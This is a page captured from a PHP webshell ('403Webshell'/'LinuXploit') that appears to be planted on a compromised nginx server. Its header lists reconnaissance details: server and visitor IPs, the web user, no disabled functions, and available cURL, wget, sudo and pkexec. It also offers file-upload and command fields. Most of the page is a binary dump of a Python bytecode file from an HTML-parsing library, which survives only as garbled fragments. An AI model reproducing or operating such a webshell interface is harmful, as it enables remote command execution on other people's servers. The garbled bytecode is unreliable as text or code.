403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951572/cwd/tmp/calpy/tinyhtml5/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951572/cwd/tmp/calpy/tinyhtml5/__pycache__/treebuilder.cpython-311.pyc
�

Υ=j,>�	���dZddlmZddlmZddlmZmZmZdZedZ	e
e��dfe
ee	d	fhz��dfe
ee	d
fe	dfhz��dfe
e	dfe	dfg��dfe
e	d
fe	dfg��dfd�Ze
d��ZGd�de
��ZGd�d��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�d��ZdS) �
Tree builder.�)�copy)�ElementTree�)�
namespaces�scoping_elements�table_insert_mode_elementsN�htmlF�button�ol�ul�table�optgroup�optionT)Nr�listr�select)�dd�dt�lirr�p�rp�rtc��eZdZd�ZdS)�ActiveFormattingElementsc��d}|tur]|ddd�D]Q}|turnE|j|jko|j|jk}|r|dz
}|dkr|�|��n�Rt�||��dS)z#Append node to the end of the list.rN���r�)�Marker�
name_tuple�
attributes�remover�append)�self�node�equal_count�element�nodes_equals     �H/tmp/claude-1015/pip-target-jmvfl800/lib/python/tinyhtml5/treebuilder.pyr"zActiveFormattingElements.appends������v������"��:�

�

���f�$�$��E��&�$�/�9�:��&�$�/�9���%��1�$�K��!�#�#��K�K��(�(�(��E�$�	
���D�$������N)�__name__�
__module__�__qualname__r"�r)r(rrs#������ � � � � r)rc��eZdZdd�Zd�Zd�Zd�Zeee��Zd�Z	d�Z
ee	e
��Zd�Zd	�Z
d
�Zd�Zdd�Zd
�Zd�ZdS)�ElementNc���||_||_tj|�||����|_|�t|jf|_n|j|jf|_g|_d|_	dS�N)
�name�	namespacerr/�_get_etree_tag�_element�_htmlr�	_children�parent�r#r2r3s   r(�__init__zElement.__init__-sl����	�"���#�+�D�,?�,?��i�,P�,P�Q�Q��
���#�T�Y�.�D�O�O�"�n�d�i�7�D�O��������r)c��|�|nd|�d|��S)N�{�}r-r9s   r(r4zElement._get_etree_tag:s"�� �(�t�t�.F�9�.F�.F��.F�.F�Fr)c��|jjSr1)r5�attrib�r#s r(�_get_attributeszElement._get_attributes=s
���}�#�#r)c���|jj}|���|rJ|���D]7\}}t	|t
��rd|d�d|d��n|}|||<�6dSdS)Nr<�r=r)r5r?�clear�items�
isinstance�tuple)r#r �element_attributes�key�valuer2s      r(�_set_attributeszElement._set_attributes@s���!�]�1��� � �"�"�"��	1�)�.�.�0�0�
1�
1�
��U�2<�S�%�2H�2H�Q�.�C��F�.�.�c�!�f�.�.�.�c��+0�"�4�(�(�	1�	1�
1�
1r)c��|jSr1)r7r@s r(�
_get_childrenzElement._get_childrenMs
���~�r)c�\�|jdd�=g|_|D]}|�|���dSr1)r5r7�insert_child)r#rJr&s   r(�
_set_childrenzElement._set_childrenPsG���M�!�!�!������	'�	'�G����g�&�&�&�&�	'�	'r)c�\�t|jjpt|j����S)z>Return True if the node has children or text, False otherwise.)�boolr5�text�lenr@s r(�has_contentzElement.has_contentZs$���D�M�&�<�#�d�m�*<�*<�=�=�=r)c��|j�|��|j�|j��||_dS)z+Insert node as a child of the current node.N)r7r"r5r8�r#r$s  r(�append_childzElement.append_child^�;������d�#�#�#��
���T�]�+�+�+�����r)c��t|j���|j��}|j�||j��||_dS)z�Insert node as a child of the current node, before reference.

        Raise ValueError if reference is not a child of the current node.

        N)rr5�index�insertr8)r#r$�	referencer[s    r(�
insert_beforezElement.insert_beforedsI���T�]�#�#�)�)�)�*<�=�=���
���U�D�M�2�2�2�����r)c��|j�|��|j�|j��d|_dS)z2Remove node from the children of the current node.N)r7r!r5r8rWs  r(�remove_childzElement.remove_childnrYr)c�h�t|j��s/|jjsd|j_|jxj|z
c_dS|�A|jdjsd|jd_|jdxj|z
c_dSt	|j��}|�|j��}|dkrJ|j|dz
jsd|j|dz
_|j|dz
xj|z
c_dS|jjsd|j_|jxj|z
c_dS)z�Insert data as text in the current node.

        Text is positioned before the start of node insert_before or to the end
        of the node's text.

        If insert_before is a node, insert the text before this node.

        �Nrrr)rTr5rS�tailrr[)r#rSr^�childrenr[s     r(�insert_textzElement.insert_textts@���4�=�!�!�	+��=�%�
(�%'��
�"��M���$�&�����
�
"��=��$�)�
,�)+��
�b�!�&��M�"��"�"�d�*�"�"�"�"��D�M�*�*�H��N�N�=�#9�:�:�E��q�y�y��}�U�Q�Y�/�4�7�46�D�M�%�!�)�,�1��
�e�a�i�(�-�-��5�-�-�-�-��}�)�,�)+�D�M�&��
�"�"�d�*�"�"�"�"r)c��t|��|j|j��}|jjr#t|jj��|j_|S)z�Return a shallow copy of the current node.

        The node has the same name and attributes, but no parent or children.

        )�typer2r3r5r?r)r#r&s  r(�clonez
Element.clone�sJ���$�t�*�*�T�Y���7�7���=��	A�&*�4�=�+?�&@�&@�G��#��r)c�T�|jr+|jdjxj|jjz
c_nC|jjsd|j_|jj�|jxj|jjz
c_d|j_|jD]}|�|���g|_dS)z�Move all the children of the current node to parent.

        This is needed so that trees that don't store text as nodes move the
        text in the correct way.

        rrbN)rdr5rcrSrX)r#r8�childs   r(�reparent_childrenzElement.reparent_children�s����?�	;��O�B��(�-�-���1C�C�-�-�-��?�'�
*�')���$��}�!�-���$�$��
�(:�:�$�$���
���]�	'�	'�E�����&�&�&�&���
�
�
r)r1)r*r+r,r:r4rArK�propertyr rMrPrdrUrXr^r`rerhrkr-r)r(r/r/,s
����������G�G�G�$�$�$�1�1�1���/�?�;�;�J����'�'�'��x�
�}�5�5�H�>�>�>����������+�+�+�+�>	�	�	�����r)r/c��eZdZd�ZdS)�Commentc�T�tj|��|_d|_g|_dSr1)rrnr5r8r7)r#�datas  r(r:zComment.__init__�s(��$�+�D�1�1��
��������r)N�r*r+r,r:r-r)r(rnrn�s#����������r)rnc��eZdZd�ZdS)�DocumentTypec���t�|d��||j_|j�d|��|j�d|��||_||_dS)Nz
<!DOCTYPE>�publicId�systemId)r/r:r5rS�set�	public_id�	system_id)r#r2rxrys    r(r:zDocumentType.__init__�sd������|�,�,�,�!��
���
���*�i�0�0�0��
���*�i�0�0�0�"���"����r)Nrqr-r)r(rsrs�s#������#�#�#�#�#r)rsc��eZdZd�ZdS)�Documentc�<�t�|d��dS)N�
DOCUMENT_ROOT�r/r:r@s r(r:zDocument.__init__�s�������/�/�/�/�/r)Nrqr-r)r(r{r{�s#������0�0�0�0�0r)r{c��eZdZd�ZdS)�DocumentFragmentc�<�t�|d��dS)N�DOCUMENT_FRAGMENTr~r@s r(r:zDocumentFragment.__init__�s������2�3�3�3�3�3r)Nrqr-r)r(r�r��s#������4�4�4�4�4r)r�c��eZdZdZd�Zd�Zdd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zeee��Zd�Zd�Zdd�Zd�Zdd�Zdd�Zd�ZdS)�TreeBuilderrc�P�|rd|_nd|_|���dS)zeCreate a TreeBuilder.

        If namespace_html_elements is True, namespace HTML elements.

        zhttp://www.w3.org/1999/xhtmlN)�default_namespace�reset)r#�namespace_html_elementss  r(r:zTreeBuilder.__init__�s0��#�	*�%C�D�"�"�%)�D�"��
�
�����r)c��g|_t��|_d|_d|_d|_t
��|_dS)NF)�
open_elementsr�active_formatting_elements�head_element�form_element�insert_from_tabler{�documentr@s r(r�zTreeBuilder.reset�s?�����*B�*D�*D��'� ��� ���!&��� �
�
��
�
�
r)Nc�@�t|d��}|s5t|t��r	t|f}t|t��sJ�t
|\}}t
|j��D],}|r	||krdS|s|j|krdS||j|vzrdS�-t�)NrTF)
�hasattrrF�strr6rG�_list_elements�reversedr�r�
ValueError)r#�target�variant�
exact_node�
list_elements�invertr$s       r(�element_in_scopezTreeBuilder.element_in_scope�s����V�\�2�2�
��	-��&�#�&�&�
)������f�e�,�,�,�,�,� .�w� 7��
�v��T�/�0�0�	�	�D��
�d�f�n�n��t�t��
�D�O�v�$=�$=��t�t��D�O�}�<�=�
��u�u�
��r)c���|jsdSt|j��dz
}|j|}|tus	||jvrdS|tur6||jvr-|dkrd}n$|dz}|j|}|tur	||jv�-	|dz
}|j|}|���}|�d|j|j|jd���}||j|<||jdkrdS�m)NrrrT�StartTag)rgr2r3rp)	r�rTrr�rh�insert_elementr2r3r )r#�i�entryrhr&s     r(�&reconstruct_active_formatting_elementsz2TreeBuilder.reconstruct_active_formatting_elements�s:���.�	��F�
��/�0�0�1�4���/��2���F�?�?�e�t�'9�9�9��F��6�!�!�e�4�3E�&E�&E��A�v�v����
��F�A��3�A�6�E��6�!�!�e�4�3E�&E�&E�	�
��F�A��3�A�6�E��K�K�M�M�E��)�)�"��
�"�_��(�	+�+���G�29�D�+�A�.��$�9�"�=�=�=���+	r)c��|j���}|jr4|tur/|j���}|jr
|tu�)dSdSdSdSr1)r��popr)r#r�s  r(� clear_active_formatting_elementsz,TreeBuilder.clear_active_formatting_elements/sv���/�3�3�5�5���-�	:�%�v�2E�2E��3�7�7�9�9�E��-�	:�%�v�2E�2E�2E�2E�	:�	:�	:�	:�2E�2Er)c�`�|jddd�D]}|turn|j|kr|cS�dS)z�Find name between end of active formatting elements and last marker.

        If an element with this name exists, return it. Else return False.

        NrF)r�rr2)r#r2�items   r(�%element_in_active_formatting_elementsz1TreeBuilder.element_in_active_formatting_elements4sQ���3�D�D�b�D�9�	�	�D��v�~�~�����d�"�"�����#��ur)c��|�|��}|j�|��|j�|��dSr1)�create_elementr�r"r�rX)r#�tokenr&s   r(�insert_rootzTreeBuilder.insert_rootCsH���%�%�e�,�,����!�!�'�*�*�*��
�"�"�7�+�+�+�+�+r)c��|d}|d}|d}t|||��}|j�|��dS)Nr2rurv)rsr�rX)r#r�r2rxry�doctypes      r(�insert_doctypezTreeBuilder.insert_doctypeHsL���V�}���*�%�	��*�%�	��t�Y�	�:�:���
�"�"�7�+�+�+�+�+r)c�V�|�t|d����dS)Nrp)rXrn)r#r�r8s   r(�insert_commentzTreeBuilder.insert_commentPs(�����G�E�&�M�2�2�3�3�3�3�3r)c��|d}|�d|j��}t||��}|d|_|S)z/Create an element but don't insert it anywhere.r2r3rp)�getr�r/r �r#r�r2r3r&s     r(r�zTreeBuilder.create_elementSsA���V�}���I�I�k�4�+A�B�B�	��$�	�*�*��"�6�]����r)c��|jSr1)�_insert_from_tabler@s r(�_get_insert_from_tablez"TreeBuilder._get_insert_from_table[s���&�&r)c�L�||_|r|j|_dS|j|_dS)z.Switch the function used to insert an element.N)r��insert_element_tabler��insert_element_normal)r#rJs  r(�_set_insert_from_tablez"TreeBuilder._set_insert_from_table^s4��"'����	=�"&�";�D����"&�"<�D���r)c�@�|d}t|t��sJd|�d����|�d|j��}t	||��}|d|_|jd�|��|j�|��|S)Nr2zElement z not unicoder3rpr)	rFr�r�r�r/r r�rXr"r�s     r(r�z!TreeBuilder.insert_element_normalhs����V�}���$��$�$�C�C�&C��&C�&C�&C�C�C�C��I�I�k�4�+A�B�B�	��$�	�*�*��"�6�]�����2��+�+�G�4�4�4���!�!�'�*�*�*��r)c�J�|�|��}|jdjtvr|�|��S|���\}}|�|�|��n|�||��|j�|��|S)z.Create an element and insert it into the tree.r)	r�r�r2r	r��!get_table_misnested_node_positionrXr^r")r#r�r&r8r^s     r(r�z TreeBuilder.insert_element_tablers����%�%�e�,�,����b�!�&�.H�H�H��-�-�e�4�4�4�%)�$J�$J�$L�$L�!�F�M��$��#�#�G�,�,�,�,��$�$�W�m�<�<�<���%�%�g�.�.�.��r)c���|�
|jd}|jo|jdjtv}|r/|���\}}|�||��dS|�|��dS)zInsert text data.Nr)r�r�r2r	r�re)r#rpr8�in_tabler^s     r(rezTreeBuilder.insert_text�s����>��'��+�F�
�"�
F���r�"�'�+E�E�	��	%�%)�$J�$J�$L�$L�!�F�M����t�]�3�3�3�3�3����t�$�$�$�$�$r)c���d}d}d}|jddd�D]}|jdkr|}n�|r<|jr
|j}|}n8|j�|��dz
}|j|}n
|jd}||fS)zAGet foster parent element and sibling (or None) to insert before.Nrrrr)r�r2r8r[)r#�
last_table�
foster_parentr^r&r[s      r(r�z-TreeBuilder.get_table_misnested_node_position�s����
��
��
��)�$�$�B�$�/�	�	�G��|�w�&�&�$�
���'��
	2�� �
:� *� 1�
� *�
�
��*�0�0��<�<�q�@�� $� 2�5� 9�
�
� �.�q�1�M��m�+�+r)c��|jdj}|tvr6||kr2|j���|�|��dSdSdS)Nr)r�r2�_implied_end_tagsr��generate_implied_end_tags)r#�excluder2s   r(r�z%TreeBuilder.generate_implied_end_tags�sc���!�"�%�*���$�$�$�������"�"�$�$�$�
�*�*�7�3�3�3�3�3�	%�$��r)Fc��|r|jjS|jj�|j�dn
d|j�d���S)zReturn the final tree.Nr
r<z}html)r�r5�findr�)r#�	full_trees  r(�get_documentzTreeBuilder.get_document�sP���	*��=�)�)��}�%�*�*��,�4�F�F�/��'�/�/�/�1�1�	1r)c�l�t��}|jd�|��|jS)zReturn the final fragment.r)r�r�rkr5)r#�fragments  r(�get_fragmentzTreeBuilder.get_fragment�s2��#�%�%����1��/�/��9�9�9�� � r)r1)F)r*r+r,�__doc__r:r�r�r�r�r�r�r�r�r�r�r�rlr�r�r�rer�r�r�r�r-r)r(r�r��sb��������
�
�
�	#�	#�	#�����,.�.�.�`:�:�:�

�
�
�,�,�,�
,�,�,�4�4�4����'�'�'�=�=�=�!��!7�9O�P�P�������� %�%�%�%� ,�,�,�64�4�4�4�1�1�1�1�!�!�!�!�!r)r�)r�r�	xml.etreer�	constantsrrr	rr6�	frozensetr�r�rrr/rnrsr{r�r�r-r)r(�<module>r�sU����������!�!�!�!�!�!�O�O�O�O�O�O�O�O�O�O�

���6����9�%�&�&��
.��y�)�e�X�->�,?�?�@�@�%�H�
�Y�'�E�4�=�5�$�-�*H�H�
I�
I�5�Q��i�%���5�'�*:�;�<�<�e�
D��y�5�*�-��x�/@�A�B�B�D�I�����I�W�X�X�� � � � � �t� � � �&C�C�C�C�C�C�C�C�L�����g����#�#�#�#�#�7�#�#�#�0�0�0�0�0�w�0�0�0�
4�4�4�4�4�w�4�4�4�
r!�r!�r!�r!�r!�r!�r!�r!�r!�r!r)

Youez - 2016 - github.com/yon3zu
LinuXploit